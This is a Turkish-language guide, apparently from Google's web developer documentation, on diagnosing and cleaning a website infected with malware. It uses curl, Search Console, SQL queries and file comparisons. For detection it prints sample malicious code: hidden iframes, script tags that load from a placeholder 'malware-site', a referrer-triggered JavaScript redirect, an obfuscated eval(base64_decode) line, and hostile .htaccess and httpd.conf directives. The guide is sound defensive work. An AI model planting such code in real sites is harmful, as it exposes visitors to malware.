Kötü amaçlı yazılımlar, bilgisayarlara, mobil cihazlara, çalıştırdıkları yazılımlara ya da kullanıcılarına zarar vermek için özel olarak tasarlanmış her türlü yazılım veya mobil uygulamadır. Kötü amaçlı yazılımın ne olduğu hakkında daha fazla bilgi edinmek için Kötü amaçlı ve istenmeyen yazılımlar başlıklı makaleyi inceleyin.
Sitenizde kötü amaçlı yazılım varsa kullanıcılar genellikle, sitenizi ziyaret etmeyi denediğinde tarayıcı tarafından gösterilen ara sayfada veya "Bu site bilgisayarınıza zarar verebilir" uyarısını görürler. Örneğin:
![Temsili kötü amaçlı yazılım ara sayfası](https://web.developers.google.cn/static/articles/hacked-with-malware/image/representative-malware-in-d968499096707.gif?authuser=5&hl=tr)
Şunlara ihtiyacınız olacaktır:
- Sitenizin sunucularına kabuk veya terminal yöneticisi erişimi: Web, veritabanı ve dosyalar.
- Kabuk veya terminal komutları bilgisi.
- Veritabanında SQL sorguları çalıştırabilme.
Hazırlık
- Search Console'a kaydolun ve saldırıya uğramış sitenizin sahipliğini orada açıklandığı şekilde doğrulayın. Search Console, etkilenen sayfaların bir örneğini sağlayarak kötü amaçlı yazılımla saldırıya uğramış sorunları bulmayı ve düzeltmeyi çok daha kolay hale getirir. Ayrıca, sitenizin birçok kötü amaçlı yazılım türünden veya diğer saldırılardan etkilendiği tespit edildiğinde bir uyarı alırsınız.
Bir sitenin kullanıcılar için zararlı olup olmadığı konusunda herkese açık bilgileri görmek için Google Güvenli Tarama teşhis sayfası'nı görüntüleyin. Sayfanız veya sitenizin listelenme durumunu şuna benzer bir URL'de görebilirsiniz:
https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>***
Örneğin:https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com
<<page_or_site>>
, belirli bir sayfa URL'si (http://example.com/badpage
) veya sitenizin tamamı (example.com) olabilir.Sitenizdeki sayfaları görüntülemek için tarayıcı kullanmaktan kaçının. Kötü amaçlı yazılımlar genellikle tarayıcılardaki güvenlik açıklarını kullanarak yayıldığından, kötü amaçlı yazılım içeren bir sayfayı bir tarayıcıda açmak bilgisayarınıza zarar verebilir. Teşhis talimatlarında sayfaya doğrudan tarayıcınız üzerinden erişmek gerektiği belirtilmiyorsa HTTP istekleri gerçekleştirmek (örneğin, bir sayfayı getirmek) için cURL veya Wget'i kullanın.
Ücretsiz kullanılabilen bu araçlar yönlendirmeleri teşhis etmeye yardımcı olur ve yönlendiren veya kullanıcı aracısı bilgileri ekleme esnekliğine sahiptir. Belirli bir yönlendiren veya kullanıcı aracısı eklemek bilgisayar korsanlarını taklit etmeye yardımcı olur, çünkü bilgisayar korsanları daha fazla "gerçek kişiyi" hedeflemek ve site sahipleri ile kötü amaçlı yazılım tarayıcılarının algılamasından kaçınmak için yalnızca belirli kullanıcı aracılarına veya yönlendirenlere sahip kullanıcılara kötü amaçlı içerik sunabilirler.
`curl -v --referer "http://www.google.com" <your-url>`
Burada, hem kullanıcı aracısını hem de yönlendireni belirten bir örnek verilmiştir:
`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`
Bazı kötü amaçlı yazılımlar yalnızca kullanıcılar Google Arama sonuçlarından geldiğinde etkinleştirildiğinden, --referer "https://www.google.com"
içeren veya içermeyen bir sayfanın getirilmesini öneririz.
Bu adımdaki bulguların kaydedileceği bir doküman oluşturun. Doküman sonuçta (en azından) hasar gören her bir dosyanın adını ve konumunu, nasıl zarar gördüğüne ilişkin notları içerecek ve Sitenizi temizleme ve bakımını yapma bölümü için bir temel oluşturacaktır.
Kötü amaçlı yazılımların nasıl çalıştığını ve kötü amaçlı yazılımları araştırmanız sırasında nasıl güvende olabileceğinizi öğrenmek için bu sayfanın önceki kısmındaki videoyu izleyin.
Teşhis
Sitenizi etkileyen kötü amaçlı yazılımları belirleyin:
- Search Console'da sitenizle ilgili Güvenlik Sorunları raporunu açın. Etkilenen sayfa örneklerinin listesini görmek için kötü amaçlı yazılım uyarısının açıklamasını genişletin. Bu listenin tam kapsamlı olmadığını unutmayın. Sitenizdeki tüm kötü amaçlı yazılım türleri için örnek sayfalar alamayabilirsiniz.
- Örnek sayfalarınızı aşağıdaki kötü amaçlı yazılım türlerine karşı test edin.
Sunucu yapılandırması kötü amaçlı yazılımı (istenmeyen yönlendirmeler)
Bir bilgisayar korsanı sitenizin güvenliğini ihlal etmiş ve muhtemelen sunucunuzun
yapılandırma dosyalarını değiştirerek ziyaretçileri iyi sitenizden kötü amaçlı kendi
saldırı sitesine yönlendiriyor. Sunucu yapılandırma dosyaları genellikle site yöneticisinin bir web sitesindeki belirli sayfalar veya dizinler için URL yönlendirmeleri belirtmesine olanak tanır. Örneğin, Apache sunucularında httpd.conf
ve .htaccess
dosyası bulunur.
Teşhis
Güvenlik Sorunları raporunda gösterilen örnek URL’lerin bazılarını ziyaret edin. "Sunucu yapılandırması" virüslü bir sayfadan gelen yanıtta aşağıdaki üst başlıklar bulunabilir:
< HTTP/1.1 301 Moved Permanently
< Date: Sun, 24 Feb 2013 21:06:45 GMT
< Server: Apache
< Location: http://<<strong>_malware-attack-site_</strong>>/index.html
< Content-Length: 253
Etkilenen dosyaları belirleme
Kabuk veya terminal erişimi (isterseniz site çevrimdışı olabilir) aracılığıyla sunucunuzda oturum açın ve ilgili sunucu yapılandırma dosyalarını inceleyin. Sitenizde saldırıya uğramış birden fazla
sunucu yapılandırma dosyası olabilir. Bu dosyalarda, bilinmeyen sitelere yönlendirmeler gibi istenmeyen yönergeler olup olmadığını kontrol edin. Örneğin, .htaccess
" dosyasında şuna benzer bir yönlendirme görebilirsiniz:
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://<<em><strong>_malware-site_</strong></em>>/index.html** [R=301]
SQL yerleştirme
Bir bilgisayar korsanı sitenizin veritabanının güvenliğini ihlal etmiştir. Örneğin, bilgisayar korsanı programlı bir şekilde bir veritabanı tablosunun her kaydına kötü amaçlı kod eklemiş olabilir. Böylece, sunucu veritabanından bilgi gerektiren bir sayfa yüklediğinde, zararlı kod artık sayfanın içeriğine yerleştirilir ve site ziyaretçilerine zarar verebilir.
Teşhis
- Komut satırındaki etkilenen URL'lerde bazı sorgular çalıştırın ve "iframe" veya "eval" gibi SQL saldırı kelimelerinin yanıtlarını inceleyin.
Veritabanı sunucunuzda oturum açın veya veritabanınızı phpMyAdmin gibi bir araçla görüntüleyin. Wget veya cURL kullandıysanız Wget veya cURL aracılığıyla sayfanın kaynak kodunda bulunan hasarı, gerçek veritabanı girişleriyle ilişkilendirmeye çalışın. Örneğin, sayfalarınızda tehlikeli bir iframe fark ettiyseniz iframe kodu için arama yapan bir SQL sorgusu gerçekleştirebilirsiniz. Örneğin:
SELECT * FROM blog_posts WHERE post_text LIKE '%>iframe%';
Sunucunuzdaki veritabanı günlüğünü ve hata dosyalarını, normal kullanıcılar için anormal görünen beklenmedik SQL komutları veya hatalar gibi olağan dışı etkinlikler için de kontrol etmek isteyebilirsiniz.
Sorunu düzeltme
Kötü amaçlı yazılım bulaşan tüm veritabanı kayıtlarını güncelleyin veya bilinen son veritabanı yedeğinizi geri yükleyin.
Kod yerleştirme
Sitenizdeki sayfalar, bir kötü amaçlı yazılım saldırı sitesine iframe gibi kötü amaçlı kod içerecek şekilde değiştirilmiş.
Teşhis
cURL veya wGet ile Güvenlik Sorunları raporunda gösterilen örnek URL'lerin bazılarını ziyaret edin ve şüpheli kod olup olmadığını inceleyin. Yerleştirilen kod birçok türde alabiliyor ve bulunması zor olabilir. iframe kodunu bulmak için "iframe" gibi kelimeleri aramak da yardımcı olabilir. Diğer yardımcı anahtar kelimeler "script", "eval" ve "unescape"tir. Örneğin, Unix tabanlı sistemlerdeki tüm dosyalarda "iframe" kelimesini aramak için:
$grep -irn "iframe" ./ | less</pre>
Bakmanız gereken bazı yaygın kötü amaçlı yazılım kalıpları aşağıda verilmiştir.
Kötü amaçlı bir site yükleyen bir iframe:
<iframe frameborder="0" height="0" src="http://<<strong><em>_malware-site_</em></strong>>/path/file"
style="display:none" width="0"></iframe>
Bir saldırı sitesinden komut dosyası çağıran veya çalıştıran JavaScript veya başka bir kodlama dili:
<script type='text/javascript' src='http://<<em><strong>_malware-site_</strong></em>>/js/x55.js'></script>
Tarayıcıyı bir saldırı sitesine yönlendiren komut dosyaları:
<script>
if (document.referrer.match(/google\.com/)) {
window.location("http://<<em><strong>_malware-site_</strong></em>>/");
}
</script>
Algılanmamak için şaşırtma yapan zararlı kodlar:
eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));
Aksi halde yararlı komut dosyalarına rastgele bir şekilde zararlı kodlar yazmak üzere tasarlanmış paylaşılan nesne dosyaları:
#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c
Kötü amaçlı hata şablonları
404 Dosya Bulunamadı gibi hata mesajları için kullanılan şablon, kötü amaçlı yazılım dağıtmak üzere yapılandırılmıştır. Bu şekilde, saldırganlar sitenizde bulunmayan URL'lere bile saldırı başlatabilir.
Teşhis
Sitenizde var olmayan veya başka türde bir hataya yol açan bir sayfayı isteyin ve yanıtın başka bir siteden gelip gelmediğini veya başka bir şekilde kötü amaçlı yazılım içerip içermediğini inceleyin.
Sorunu düzeltme
Web sunucunuzda oturum açın ve sunucu yapılandırma dosyalarınızda hata sayfası yönergelerini arayın. Örneğin, Apache web sunucuları için hata şablonu, .htaccess
dosyasında belirtilebilir. Kötü amaçlı bir siteden 404 hata sayfaları alan bir .htaccess
dosyası girişini burada görebilirsiniz:
ErrorDocument 404 http://<<span class="red-text"><em><strong>_malware-site_</strong></em></span>>/index.html
Sitenizi temizlemeye hazır olduğunuzda .htaccess
dosyalarını bilinen iyi bir yedekle değiştirin veya mevcut .htaccess
dosyalarındaki istenmeyen ErrorDocument yönergelerini silin. Sitenizde varsa gerçek hata dosyalarını da temizlediğinizden emin olun. Son olarak, tüm değişikliklerin geçerli olduğundan emin olmak için
web sunucunuzu yeniden başlatın.
Güvenliği ihlal edilmiş veya kötü amaçlı bir siteden yüklenen kaynaklar {compromised-resources}
Siteniz, kötü amaçlı içerik barındırdığı bilinen bir web sitesindeki içerik veya kaynakları kullanıyor. Bunlar JavaScript dosyaları, resimler veya başka dosyalar olabilir. Bu nedenle, siteniz diğer siteden yüklenen kötü amaçlı yazılım için işaretlenir.
Teşhis
Güvenlik Sorunları raporunda gösterilen örnek URL’lerin bazılarını ziyaret edin.
Sorunu düzeltme
- Search Console'daki Güvenlik Sorunları raporunda listelenen örnek URL'lerin birkaçına göz atarak sorunu onaylayın. Bir tarayıcı uyarısı görmeniz gerekir.
- Tarayıcı uyarısı şüpheli içeriğin alan adını bildirir. Tarayıcı uyarısında listelenen işaretli siteye yönelik tüm referansları kaldırın. İşaretlenmiş bir sitedeki içerik sizin bilginiz olmadan eklenmişse, sorun daha ciddidir. Sitenizin güvenliği büyük olasılıkla ihlal edilmiştir. Diğer saldırılar ve güvenlik açıkları açısından sitenizi incelemeye devam etmeniz gerekir.
- İşaretlenen meşru bir siteden kasıtlı olarak içerik eklediyseniz ve işaretli site temizlendikten sonra bu içeriği tekrar dahil etmek istiyorsanız, işaretlenmiş sitenin durumunu söz konusu sitenin (
http://www.google.com/safebrowsing/diagnostic?site=www.example.com
){:.external} Google Güvenli Tarama teşhis sayfasını kullanarak izleyebilirsiniz. Yasal sitelerin sahipleri genellikle bunları hızlı bir şekilde temizler.
Ek inceleme
Ardından, sisteminizde kötü amaçlı başka dosyalar veya değişiklikler olup olmadığını kontrol edin. Bilgisayar korsanı mevcut sayfaları veya veritabanı kayıtlarını değiştirmiş, tamamen yeni spam içerikli sayfalar oluşturmuş, temiz sayfalarda spam görüntüleyen işlevler yazmış veya sitenize tekrar girmesine izin veren "arka kapılar" oluşturmuş ya da kaldırdığınız zararlı kodları yeniden yerleştirmiş olabilir.
Siteniz çevrimiçiyse bu inceleme için çevrimdışına almayı düşünebilirsiniz.
Sitenizin temiz bir yedeğine sahip olduğunuzu düşünüyorsanız, yedekleme yapıldığı andan itibaren hangi dosyaların oluşturulduğunu veya değiştirildiğini belirleyin ve bunları araştırın. Unix tabanlı sistemlerde, yeni dosyaları bulmak için aşağıdaki gibi bir komut kullanabilirsiniz:
diff -qr <current-directory> <backup-directory>
Örneğin:
diff -qr www/ backups/full-backup-20120124/
ayrıca:
md5sum <current-page> <backup-page>
Örneğin:
md5sum www/page.html backups/full-backup-20120124/page.html
Başarısız giriş teşebbüsleri, komut geçmişi (özellikle kök olarak) ve bilinmeyen kullanıcı hesapları oluşturma gibi şüpheli etkinlikler olup olmadığını görmek için sunucu, erişim ve hata günlüklerini kontrol edin. Bilgisayar korsanının bu günlükleri kendi amacı doğrultusunda değiştirmiş olabileceğine dikkat edin. Güvenlik açığını bulma videosunda bazı örnekler gösterilmiştir.
Yapılandırma dosyalarında yönlendirme olup olmadığını kontrol edin. Yapılandırma dosyalarınız genellikle .htaccess
ve httpd.conf
olarak adlandırılır. Bilgisayar korsanları genellikle kullanıcı aracısına, günün saatine veya yönlendirene bağlı olarak koşullu yönlendirmeler oluştururlar. Yapılandırma dosyalarını güncellemeniz gerekirse yaptığınız değişikliklerin geçerli olması için sunucunuzu yeniden başlatmanız gerekebilir.
Aşırı esnek klasör ve dosya izinleri olup olmadığını kontrol edin. Bilgisayar korsanları izinlerle oynarlar çünkü esnek izinler site sahibi tarafından algılanamadan kalırsa bilgisayar korsanının siteye tekrar girebilmesinin bir yolu olur. 644 (rw-r--r--)
değerinden büyük dosyalar ve 755 (rwxr-xr-x)
değerinden büyük klasörler güvenlik sorunlarına neden olabilir. Esnek izinler varsa, bunların gerçekten gerekli olup olmadığını belirleyin. Unix tabanlı sistemlerde şunları deneyin:
find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;
ve:
find <your-dir> -type f -not -perm 644 -exec ls -la {} \;
Bir veritabanınız varsa, phpMyAdmin gibi bir araç kullanarak tek tek her kaydı araştırın.